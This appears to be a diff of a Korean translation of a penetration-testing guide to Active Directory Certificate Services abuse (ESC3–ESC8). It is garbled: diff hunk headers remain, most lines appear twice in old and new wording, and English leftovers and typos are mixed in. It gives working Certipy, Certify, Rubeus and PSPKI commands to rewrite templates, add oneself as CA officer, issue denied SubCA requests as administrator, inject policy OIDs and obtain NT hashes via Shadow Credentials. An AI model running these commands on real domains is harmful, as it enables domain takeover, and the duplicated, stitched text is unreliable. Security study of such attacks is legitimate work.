**“enrollment agent”**는 해당 **template**에 enroll하고, 생성된 **certificate**를 사용해 **다른 사용자를 대신하여 CSR에 공동 서명(co-sign)**합니다. 그 후 **공동 서명된 CSR**을 CA에 **전송**하고, CA에서 **“enroll on behalf of”를 허용하는 template**에 등록하면 CA는 **“다른” 사용자에 속하는 certificate**를 발급합니다.
**Requirements 1:**
- Enterprise CA가 낮은 권한의 사용자에게 enrollment 권한을 부여한다.
- manager approval 요구사항이 생략되어 있다.
- authorized signatures에 대한 요구사항이 없다.
- certificate template의 security descriptor가 지나치게 관대하여 낮은 권한의 사용자에게 enrollment 권한을 부여한다.
- certificate template에 Certificate Request Agent EKU가 포함되어 있어 다른 주체를 대신하여 다른 certificate 템플릿을 요청할 수 있게 한다.
- Enterprise CA가 권한이 낮은 사용자에게 enrollment 권한을 부여합니다.
- 관리자 승인 요구가 생략되어 있습니다.
- 권한 있는 서명(authorized signatures)에 대한 요구가 없습니다.
- certificate template의 security descriptor가 지나치게 관대하여 권한이 낮은 사용자에게 enrollment 권한을 부여합니다.
- certificate template에 Certificate Request Agent EKU가 포함되어 있어 다른 주체를 대신하여 다른 certificate template을 요청할 수 있습니다.
**Requirements 2:**
- Enterprise CA가 낮은 권한의 사용자에게 enrollment 권한을 부여한다.
- Manager approval이 우회된다.
- 템플릿의 스키마 버전이 1이거나 2를 초과하며, Certificate Request Agent EKU를 필요로 하는 Application Policy Issuance Requirement를 지정한다.
- certificate template에 정의된 EKU 중 하나가 domain authentication을 허용한다.
- enrollment agent에 대한 제한이 CA에 적용되지 않다.
- Enterprise CA가 권한이 낮은 사용자에게 enrollment 권한을 부여합니다.
- 관리자 승인이 우회됩니다.
- 템플릿의 schema version이 1이거나 2를 초과하며, Application Policy Issuance Requirement를 지정하고 그 요구사항에 Certificate Request Agent EKU가 필요합니다.
- certificate template에 정의된 EKU 중 하나가 도메인 인증(domain authentication)을 허용합니다.
- enrollment agent에 대한 제한이 CA에 적용되지 않습니다.
### 악용
@ -129,44 +127,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
**users**가 **enrollment agent certificate**을 **obtain**할 수 있는지, enrollment **agents**가 등록할 수 있는 템플릿, 그리고 enrollment agent가 대행할 수 있는 **accounts**는 엔터프라이즈 CA에서 제한할 수 있다. 이는 `certsrc.msc` **snap-in**을 열고, **CA를 우클릭**한 뒤 **Properties**를 클릭하고 “Enrollment Agents” 탭으로 **navigating**하면 된다.
However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
그러나 CA의 **default** 설정은 “**Do not restrict enrollment agents**.”로 되어 있는 점에 유의해야 한다. 관리자가 enrollment agents에 대한 제한을 활성화하여 “Restrict enrollment agents”로 설정하더라도, 기본 구성은 여전히 매우 관대하다. 이는 **Everyone**이 모든 템플릿에 대해 누구로든 등록(enroll)할 수 있도록 허용한다.
## 취약한 Certificate Template 액세스 제어 - ESC4
## 취약한 인증서 템플릿 접근 제어 - ESC4
### **설명**
**certificate templates**의 **security descriptor**는 특정 **AD principals**가 템플릿과 관련하여 어떤 **permissions**을 가지는지를 정의한다.
**보안 설명자(security descriptor)**는 **인증서 템플릿(certificate templates)**에 대해 특정 **AD 주체(AD principals)**가 보유한 **권한(permissions)**을 정의한다.
만약 **attacker**가 템플릿을 **alter**하고 이전 섹션들에서 설명한 어떤 **exploitable misconfigurations**를 **institute**할 수 있는 권한을 갖고 있다면, **privilege escalation**이 촉진될 수 있다.
만약 **공격자(attacker)**가 **템플릿(template)**을 **수정(alter)**하고 이전 섹션에서 설명한 어떤 **취약하게 활용 가능한 구성(exploitable misconfigurations)**을 **적용(institute)**할 권한을 가지고 있다면, 권한 상승(privilege escalation)이 가능해질 수 있다.
certificate template에 적용될 수 있는 주목할 만한 permissions는 다음과 같다:
인증서 템플릿에 적용될 수 있는 주요 권한은 다음과 같다:
- **Owner:** 객체에 대한 암묵적인 제어를 부여하며, 모든 속성의 수정을 허용한다.
- **FullControl:** 객체에 대한 완전한 권한을 부여하며, 모든 속성을 변경할 수 있다.
- **WriteOwner:** 객체의 소유자를 attacker가 제어하는 주체로 변경할 수 있다.
- **WriteDacl:** 접근 제어를 조정할 수 있어 attacker에게 FullControl을 부여할 수 있다.
- **WriteProperty:** 객체의 모든 속성을 편집할 수 있다.
- **Owner:** 객체에 대한 암묵적 제어권을 부여하여, 모든 속성을 수정할 수 있다.
- **FullControl:** 객체에 대한 완전한 권한을 부여하 모든 속성을 변경할 수 있다.
- **WriteOwner:** 객체의 소유자를 공격자가 제어하는 주체로 변경할 수 있게 한다.
- **WriteDacl:** 접근 제어를 조정하여 공격자에게 FullControl을 부여할 가능성을 만든다.
- **WriteProperty:** 객체의 어떤 속성이라도 편집할 수 있는 권한을 허용한다.
### **악용**
### 악용
템플릿 및 기타 PKI 객체에 대해 편집 권한을 가진 주체를 식별하려면, Certify로 열거한다:
템플릿 및 기타 PKI 객체에 대해 편집 권한을 가진 주체들을 식별하려면, Certify로 열거(enumerate)하라:
```bash
Certify.exe find /showAllPermissions
Certify.exe pkiobjects /domain:corp.local /showAdmins
```
이전 것과 유사한 privesc 예시:
앞의 예와 유사한 privesc의 예:
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가진 경우를 말한다. 예를 들어, 이를 악용해 인증서 템플릿의 구성을 덮어써 템플릿을 ESC1에 취약하도록 만들 수 있다.
ESC4는 user가 certificate template에 대해 write privileges를 가진 경우입니다. 예를 들어, 이는 certificate template의 구성을 덮어써서 해당 template을 ESC1에 취약하게 만드는 데 악용될 수 있습니다.
위 경로에서 볼 수 있듯이, 오직 `JOHNPC`만 이러한 권한을 가지고 있지만, 우리 사용자 `JOHN``JOHNPC`로 향하는 새로운 `AddKeyCredentialLink` 엣지를 가지고 있다. 이 기법은 인증서와 관련되어 있으므로, 저는 이 공격을 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로도 구현했다. 다음은 피해자의 NT hash를 가져오기 위한 Certipys `shadow auto` 명령의 간단한 미리보기이다.
위 경로에서 알 수 있듯이, 오직 `JOHNPC`만이 이러한 권한을 가지고 있지만, 우리 user `JOHN``JOHNPC`로 향하는 새로운 `AddKeyCredentialLink` edge를 가지고 있습니다. 이 기법이 인증서와 관련되어 있기 때문에, 저는 이 공격도 구현했습니다. 이는 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로 알려져 있습니다. 다음은 피해자의 NT hash를 얻기 위한 Certipy의 `shadow auto` 명령의 미리보기입니다.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy**는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본적으로**, Certipy는 구성을 **덮어써서** **ESC1에 취약하게 만듭니다**. 또한 **`-save-old` 파라미터로 이전 구성을 저장하도록 지정할 수 있으며**, 이는 공격 후 구성 **복원**에 유용합니다.
**Certipy**는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본적으로**, Certipy는 구성을 **덮어써서** **ESC1에 취약하게 만듭니다**. 또한 이전 구성을 저장하기 위해 **`-save-old` parameter to save the old configuration**를 지정할 수 있으며, 이는 공격 후 구성을 **복원**하는 데 유용합니다.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -177,33 +175,33 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
```
## Vulnerable PKI Object Access Control - ESC5
## 취약한 PKI 객체 접근 제어 - ESC5
### 설명
certificate templates와 certificate authority를 넘어서는 여러 객체를 포함하는 상호 연결된 ACL 기반 관계의 광범위한 네트워크는 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 보안에 중대한 영향을 줄 수 있는 이러한 객체에는 다음이 포함됩니다:
인증서 템플릿 및 인증 기관(CA)을 넘어서는 여러 객체를 포함하는 상호 연결된 ACL 기반 관계의 광범위한 망은 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 이러한 객체들은 보안에 중대한 영향을 줄 수 있으며, 다음을 포함합니다:
- CA 서버의 AD 컴퓨터 객체(예: S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 손상될 수 있음).
- CA 서버의 AD computer object, 이는 S4U2Self 또는 S4U2Proxy와 같은 메커니즘으로 탈취될 수 있습니다.
- CA 서버의 RPC/DCOM 서버.
- 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내의 모든 하위 AD 객체 또는 컨테이너. 이 경로에는 Certificate Templates container, Certification Authorities container, NTAuthCertificates object, Enrollment Services Container 등(여기에 국한되지 않음)의 컨테이너 및 객체가 포함됩니다.
- 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내의 모든 하위 AD 객체 또는 컨테이너. 이 경로에는 Certificate Templates container, Certification Authorities container, NTAuthCertificates object, Enrollment Services Container 등(포함되지만 이에 국한되지 않음)이 포함됩니다.
낮은 권한의 공격자가 이러한 중요한 구성 요소 중 하나라도 제어하게 되면 PKI 시스템의 보안이 손상될 수 있습니다.
저권한 공격자가 이러한 핵심 구성요소 중 어느 하나라도 제어하게 되면 PKI 시스템의 보안이 손상될 수 있습니다.
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
### 설명
[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)에서 다룬 내용은 Microsoft가 설명한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 의미도 포함합니다. 이 구성은 Certification Authority (CA)에 활성화되면 Active Directory®에서 생성된 요청을 포함하여 **모든 요청**에 대해 **사용자 정의 값**을 **subject alternative name**에 포함시키는 것을 허용합니다. 결과적으로 이 설정은 표준 User template처럼 권한 없는 사용자 등록에 열려 있는 도메인 **authentication** 용도로 설정된 **any template**을 통해 **침입자**가 등록할 수 있게 합니다. 그 결과 인증서를 확보하여 침입자가 도메인 관리자나 도메인 내의 **any other active entity**로 인증할 수 있게 됩니다.
이 주제는 [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)에 설명된 내용과 함께 Microsoft가 명시한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 영향도 다룹니다. 이 구성이 Certification Authority (CA)에 활성화되면 Active Directory®에서 생성된 요청을 포함한 모든 요청에 대해 **subject alternative name**에 **사용자 정의 값**을 포함할 수 있게 됩니다. 결과적으로 이 설정은 공격자가 도메인 **authentication**용으로 설정된 **any template**—특히 표준 User 템플릿처럼 권한이 낮은 사용자 등록에 열려 있는 템플릿—을 통해 등록(enroll)할 수 있도록 허용합니다. 그 결과, 공격자는 인증서를 획득하여 도메인 관리자나 도메인 내의 **any other active entity**로 인증할 수 있게 됩니다.
**참고**: `certreq.exe`에서 `-attrib "SAN:"` 인수를 통해 Certificate Signing Request (CSR)에 alternative names를 추가하는 방식(“Name Value Pairs”라고 불림)은 ESC1에서의 SANs 악용 전략과 차이를 보입니다. 여기서 구분되는 점은 계정 정보가 확장(extension) 대신 인증서 attribute 내에 캡슐화된다는 것입니다.
**참고**: `certreq.exe``-attrib "SAN:"` 인수를 통해 Certificate Signing Request(CSR)에 **alternative names**를 추가하는 방식(“Name Value Pairs”라 불림)은 ESC1에서 SANs를 악용하는 전략과 **대조적**입니다. 여기서 차이는 계정 정보가 어떻게 캡슐화되는지에 있으며—확장(extension)이 아니라 인증서 속성(attribute)에 포함된다는 점입니다.
### 악용
이 설정이 활성화되어 있는지 확인하려면 조직에서는 `certutil.exe`를 사용하여 다음 명령을 실행할 수 있습니다:
이 설정이 활성화되어 있는지 확인하려면 조직에서는 `certutil.exe`로 다음 명령을 사용할 수 있습니다:
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
이 작업은 본질적으로 **remote registry access**를 사용하므로, 대안적인 방법은 다음과 같을 수 있다:
이 작업은 본질적으로 **remote registry access**를 사용하므로, 대안적 접근 방법은 다음과 같을 수 있습니다:
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
@ -216,39 +214,39 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
설정을 변경하려면, 사용자가 **도메인 관리자** 권한 또는 이에 상응하는 권한을 보유하고 있다고 가정할 때, 다음 명령을 어떤 워크스테이션에서든 실행할 수 있습니다:
러한 설정을 변경하려면, **domain administrative** 권한 또는 동등한 권한을 보유하고 있다고 가정할 때, 다음 명령을 어느 워크스테이션에서나 실행할 수 있습니다:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
환경에서 이 구성을 비활성화하려면, flag를 다음과 같이 제거할 수 있습니다:
환경에서 이 구성을 비활성화하려면 플래그를 다음과 같이 제거할 수 있습니다:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> 2022년 5월 보안 업데이트 이후, 새로 발급된 **certificates**에는 요청자의 `objectSid` 속성을 포함하는 **security extension**이 포함됩니다. For ESC1, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 SAN이 아니라 요청자의 `objectSid`를 반영합니다.\
> **ESC6**를 악용하려면 시스템이 **ESC10 (Weak Certificate Mappings)**에 취약해야 하며, 이는 **SAN을 새로운 security extension보다 우선시**합니다.
> 2022년 5월 보안 업데이트 이후, 새로 발급되는 **certificates**에는 **requester's `objectSid` property**를 포함하는 **security extension**이 포함됩니다. ESC1의 경우 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우 SID는 SAN이 아니라 **requester's `objectSid`**를 반영합니다.\
> ESC6을 악용하려면 시스템이 ESC10(Weak Certificate Mappings)에 취약해야 하며, 이는 **SAN over the new security extension**을 우선시합니다.
## 취약한 Certificate Authority 액세스 제어 - ESC7
## 취약한 Certificate Authority 접근 제어 - ESC7
### 공격 1
#### 설명
인증 기관(CA)에 대한 액세스 제어는 CA 작업을 관리하는 일련의 권한으로 유지됩니다. 이 권한은 `certsrv.msc`를 실행한 다음 CA에서 오른쪽 클릭하여 Properties를 선택하고 Security 탭으로 이동하면 확인할 수 있습니다. 또한 PSPKI 모듈을 사용하여 다음과 같은 명령으로 권한을 열거할 수 있습니다:
Certificate Authority의 접근 제어는 CA 동작을 관리하는 일련의 권한으로 유지됩니다. 이러한 권한은 `certsrv.msc`에 접근해 CA를 우클릭한 다음 properties를 선택하고 Security 탭으로 이동하면 확인할 수 있습니다. 또한 권한은 PSPKI 모듈을 사용하여 다음과 같은 명령으로 열거할 수 있습니다:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
이는 주요 권한인 **`ManageCA`** 및 **`ManageCertificates`**(각각 “CA 관리자” 및 “인증서 관리자” 역할에 해당)에 대한 통찰을 제공합니다.
이는 주요 권한인 **`ManageCA`** 및 **`ManageCertificates`**가 각각 “CA administrator”(CA 관리자) 및 “Certificate Manager”(인증서 관리자) 역할과 연관됨을 설명합니다.
#### 악용
#### Abuse
인증 기관에 대한 **`ManageCA`** 권한을 보유하면 해당 주체는 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 여기에는 모든 템플릿에서 SAN을 지정하도록 허용하는 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 전환하는 것이 포함되며, 이는 도메인 권한 상승의 중요한 요소입니다.
인증 기관에**`ManageCA`** 권한을 가진 주체는 PSPKI를 사용해 원격으로 설정을 조작할 수 있습니다. 여기에는 모든 템플릿에서 SAN 지정 허용을 위해 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 토글하는 것이 포함되며, 이는 도메인 권한 상승의 핵심 요소입니다.
이 과정은 PSPKI**Enable-PolicyModuleFlag** cmdlet을 사용하여 단순화할 수 있으며, 이를 통해 GUI와 직접 상호작용하지 않고도 수정할 수 있습니다.
이 과정은 PSPKIs **Enable-PolicyModuleFlag** cmdlet을 사용하면 단순화되어 GUI를 직접 조작하지 않고도 설정을 변경할 수 있습니다.
**`ManageCertificates`** 권한을 보유하면 대기 중인 요청을 승인할 수 있어 "CA certificate manager approval" 보호 장치를 사실상 우회할 수 있습니다.
**`ManageCertificates`** 권한을 소지하면 보류 중인 요청을 승인할 수 있어 'CA 인증서 관리자 승인' 보호 장치를 사실상 우회할 수 있습니다.
**Certify**와 **PSPKI** 모듈의 조합을 사용하 인증서를 요청, 승인 및 다운로드할 수 있습니다:
**Certify**와 **PSPKI** 모듈의 조합을 사용하 인증서를 요청, 승인 및 다운로드할 수 있습니다:
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@ -269,28 +267,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### 설명
> [!WARNING]
> 이전 공격에서 **`Manage CA`** 권한을 사용하여 **EDITF_ATTRIBUTESUBJECTALTNAME2** 플래그를 활성화해 **ESC6 attack**을 수행했지만, CA 서비스(`CertSvc`)를 재시작하기 전까지는 아무런 효과가 없습니다. `Manage CA` 접근 권한이 있는 사용자는 서비스를 **재시작할 수 있습니다**. 그러나 이것이 사용자가 **원격으로 서비스를 재시작할 수 있다**는 의미는 아닙니다. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
> 이전 공격에서 **`Manage CA`** 권한을 사용**EDITF_ATTRIBUTESUBJECTALTNAME2** 플래그를 활성화하여 **ESC6 공격**을 수행했지만, 이는 CA 서비스(`CertSvc`)를 재시작할 때까지 아무런 효과가 없다. 사용자가 `Manage CA` 액세스 권한을 가지면 해당 사용자는 **서비스를 재시작할 수 있다**. 하지만 이것이 **사용자가 서비스를 원격으로 재시작할 수 있다**는 것을 의미하지는 않는다. 또한 대부분의 패치된 환경에서는 2022년 5월 보안 업데이트 때문에 **ESC6가 바로 동작하지 않을 수 있다**.
따라서, 여기에서는 다른 공격 방법을 제시합니다.
따라서 여기에서는 다른 공격을 제시한다.
Perquisites:
전제 조건:
- 오직 **`ManageCA` 권한**
- **`Manage Certificates`** 권한 (**`ManageCA`**에서 부여 가능)
- 인증서 템플릿 **`SubCA`**는 **활성화되어야 합니다** (**`ManageCA`**에서 활성화 가능)
- **`Manage Certificates`** 권한 (`ManageCA`에서 부여 가능)
- 인증서 템플릿 **`SubCA`**는 **활성화되어야 함** (`ManageCA`에서 활성화 가능)
이 기술은 `Manage CA` _및_ `Manage Certificates` 접근 권한을 가진 사용자가 **실패한 인증서 요청을 발급할 수 있다**는 사실에 기반합니다. 인증서 템플릿 **`SubCA`**는 **ESC1에 취약**하지만, **관리자만** 템플릿에 등록할 수 있습니다. 따라서, **사용자**는 **`SubCA`**에 등록을 **요청**할 수 있으며 - 이 요청은 **거부**되지만 - **그 후 매니저가 발급합니다**.
이 기법은 `Manage CA``Manage Certificates` 액세스 권한을 가진 사용자가 **실패한 인증서 요청을 발행할 수 있다는 사실**에 의존한다. 인증서 템플릿 **`SubCA`**는 **ESC1에 취약**하지만, **관리자만** 템플릿에 등록할 수 있다. 따라서 **사용자**는 **`SubCA`**에 등록을 **요청**할 수 있고 이 요청은 **거부**되지만, 이후 매니저에 의해 **발급될 수 있다**.
#### 악용
새로운 officer로 자신의 사용자를 추가하여 **자신에게 `Manage Certificates` 접근 권한을 부여할 수 있습니다**.
사용자를 새로운 officer로 추가하면 **자신에게 `Manage Certificates` 권한을 부여할 수 있다**.
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
**`SubCA`** 템플릿은 `-enable-template` 매개변수를 사용하여 **CA에서 활성화할 수 있습니다**. 기본적으로 `SubCA` 템플릿은 활성화되어 있습니다.
**`SubCA`** 템플릿은 `-enable-template` 매개변수 **CA에서 활성화할 수 있습니다**. 기본적으로, `SubCA` 템플릿은 활성화되어 있습니다.
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -302,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
이 공격에 대한 전제 조건을 충족했다면, **`SubCA` 템플릿을 기반으로 인증서를 요청하는 것**부터 시작할 수 있습니다.
이 공격의 전제 조건을 충족했다면, 우리는 **`SubCA` 템플릿을 기반으로 인증서를 요청하는 것**으로 시작할 수 있습니다.
**이 요청은 거부될 것입니다**, 하지만 우리는 private key를 저장하고 request ID를 기록해 둡니다.
**이 요청은 거부될 것입니다**, 하지만 우리는 private key를 저장하고 request ID를 기록니다.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -316,14 +314,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
우리에게 **`Manage CA``Manage Certificates`** 권한이 있으면, `ca` 명령과 `-issue-request <request ID>` 매개변수를 사용하여 **실패한 인증서 발급** 요청을 처리할 수 있습니다.
우리**`Manage CA``Manage Certificates`** 권한으로, `ca` 명령과 `-issue-request <request ID>` 매개변수를 사용하여 **실패한 인증서 발급**할 수 있습니다.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
마지막으로, 우리는 `req` 명령과 `-retrieve <request ID>` 매개변수를 사용**발급된 인증서를 검색할 수 있습니다**.
마지막으로, 우리는 `req` 명령과 `-retrieve <request ID>` 매개변수를 사용하여 **발급된 인증서를 가져올 수 있습니다**.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -339,73 +337,73 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
#### 설명
고전적인 ESC7 남용(EDITF 속성 활성화 또는 보류 중인 요청 승인) 외에도, **Certify 2.0**은 Enterprise CA에서 *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) 역할만 있으면 사용할 수 있는 새로운 프리미티브를 공개했습니다.
고전적인 ESC7 남용(EDITF 속성 활성화 또는 보류 중인 요청 승인)에 더해, **Certify 2.0**은 Enterprise CA에서 *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) 역할만으로도 가능한 새로운 프리미티브를 공개했습니다.
`ICertAdmin::SetExtension` RPC 메서드는 *Manage Certificates* 권한을 가진 어떤 주체라도 실행할 수 있습니다. 이 메서드는 전통적으로 합법적인 CA가 **보류 중인** 요청의 확장(extension)을 업데이트하기 위해 사용되었지만, 공격자는 이를 남용해 승인 대기 중인 요청에 *기본값이 아닌* 인증서 확장(예: 사용자 정의 *Certificate Issuance Policy* OID인 `1.1.1.1`)을 추가할 수 있습니다.
`ICertAdmin::SetExtension` RPC 메서드는 *Manage Certificates* 권한을 가진 모든 주체가 실행할 수 있습니다. 해당 메서드는 전통적으로 합법적인 CA가 **보류 중(pending)** 요청의 확장(extension)을 업데이트하는 데 사용되었지만, 공격자는 이를 악용해 승인 대기 중인 요청에 **비기본(non-default) 인증서 확장**(예: `1.1.1.1`과 같은 커스텀 *Certificate Issuance Policy* OID)을 **덧붙일** 수 있습니다.
대상 템플릿이 해당 확장에 대해 **기본값을 정의하지 않기 때문에**, 요청이 결국 발급될 때 CA는 공격자가 설정한 값을 덮어쓰지 않습니다. 결과적으로 발급된 인증서에는 공격자가 선택한 확장이 포함되어 있으며, 이는 다음과 같은 영향을 줄 수 있습니다.
대상 템플릿이 해당 확장에 대해 **기본값을 정의하지 않는** 경우, 요청이 발급될 때 CA는 공격자가 설정한 값을 덮어쓰지 않습니다. 결과적으로 발급된 인증서에는 공격자가 선택한 확장이 포함되며, 이는 다음을 초래할 수 있습니다:
* 다른 취약한 템플릿의 Application / Issuance Policy 요구사항을 충족시켜 권한 상승으로 이어질 수 있습니다.
* 추가 EKU 또는 정책을 주입하여 제3자 시스템에서 인증서가 예상치 못한 신뢰를 얻도록 할 수 있습니다.
* 다른 취약한 템플릿의 Application / Issuance Policy 요구사항을 만족시켜 권한 상승으로 이어질 수 있음.
* 추가적인 EKUs 또는 정책을 주입하여 제3자 시스템에서 인증서에 예기치 않은 신뢰를 부여할 수 있음.
요약하면, 이전에 “덜 강력한” ESC7의 절반으로 간주되던 *Manage Certificates* 권한은 이제 CA 구성에 손대거나 더 엄격한 *Manage CA* 권한을 요구하지 않고도 전체 권한 상승이나 장기 지속성 확보에 활용될 수 있습니다.
요약하면, 이전에 ESC7의 “덜 강력한” 절반으로 간주되던 *Manage Certificates* 권한은 이제 CA 구성 변경이나 더 엄격한 *Manage CA* 권한을 요구하지 않고도 전체 권한 상승 또는 장기 지속성 확보에 악용될 수 있습니다.
#### Certify 2.0으로 프리미티브 용하기
#### Certify 2.0으로 프리미티브 용하기
1. **보류 상태로 남을 인증서 요청을 제출**합니다. 이는 매니저 승인이 필요한 템플릿을 사용해 강제할 수 있습니다:
1. **보류 상태(pending)로 남을 인증서 요청을 제출합니다.** 이는 관리자 승인이 필요한 템플릿을 사용해 강제할 수 있습니다:
```powershell
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Take note of the returned Request ID
```
2. 새로운 `manage-ca` 명령으로 보류 중인 요청에 사용자 정의 확장을 추가합니다:
2. 새로운 `manage-ca` 명령을 사용해 보류 중인 요청에 커스텀 확장을 추가합니다:
```powershell
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
```
*템플릿이 이미 *Certificate Issuance Policies* 확장을 정의하지 않는다면, 위 값은 발급 후에도 보존됩니다.*
*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.*
3. 요청을 **발급**합니다(당신의 역할이 *Manage Certificates* 승인 권한도 가지고 있는 경우) 또는 운영자가 승인할 때까지 기다립니다. 발급되면 인증서를 다운로드합니다:
3. 요청을 발급합니다(만약 귀하의 역할이 *Manage Certificates* 승인 권한도 포함하는 경우) 또는 운영자가 승인할 때까지 기다립니다. 발급되면 인증서를 다운로드합니다:
```powershell
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
```
4. 결과 인증서는 이제 악의적인 issuance-policy OID를 포함하며 이후 공격(예: ESC13, 도메인 권한 상승 등)에 사용될 수 있습니다.
> NOTE: 동일한 공격은 Certipy ≥ 4.7의 `ca` 명령과 `-set-extension` 파라미터를 통해서도 실행할 수 있습니다.
> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
## NTLM Relay to AD CS HTTP Endpoints ESC8
### 설명
> [!TIP]
> **AD CS가 설치된** 환경에서 **웹 enrollment endpoint가 취약**하고 적어도 하나의 **certificate template이 게시되어 있으며** 그 템플릿이 **도메인 컴퓨터 등록과 client authentication을 허용**한다면(예: 기본 **`Machine`** 템플릿), **spooler 서비스가 활성화된 어떤 컴퓨터든 공격자에 의해 탈취될 수 있습니다!**
> **AD CS가 설치된** 환경에서, **취약한 web enrollment endpoint**가 존재하고 최소 하나의 **domain computer enrollment 및 client authentication을 허용하는 certificate template**(예: 기본 **`Machine`** 템플릿)이 게시되어 있다면, **spooler service가 활성화된 어떤 컴퓨터든 공격자에 의해 침해될 수 있습니다**!
AD CS는 관리자가 설치할 수 있는 추가 서버 역할을 통해 여러 **HTTP 기반 enrollment 방법**을 제공합니다. 이러한 HTTP 기반 인증서 등록 인터페이스들은 **NTLM relay 공격**에 취약합니다. 공격자는 **탈취된 머신에서**, 수신 NTLM으로 인증하는 아무 AD 계정으로도 가장할 수 있습니다. 피해자 계정으로 가장하는 동안, 공격자는 이러한 웹 인터페이스에 접근하여 **`User` 또는 `Machine` certificate template**을 사용해 클라이언트 인증용 인증서를 요청할 수 있습니다.
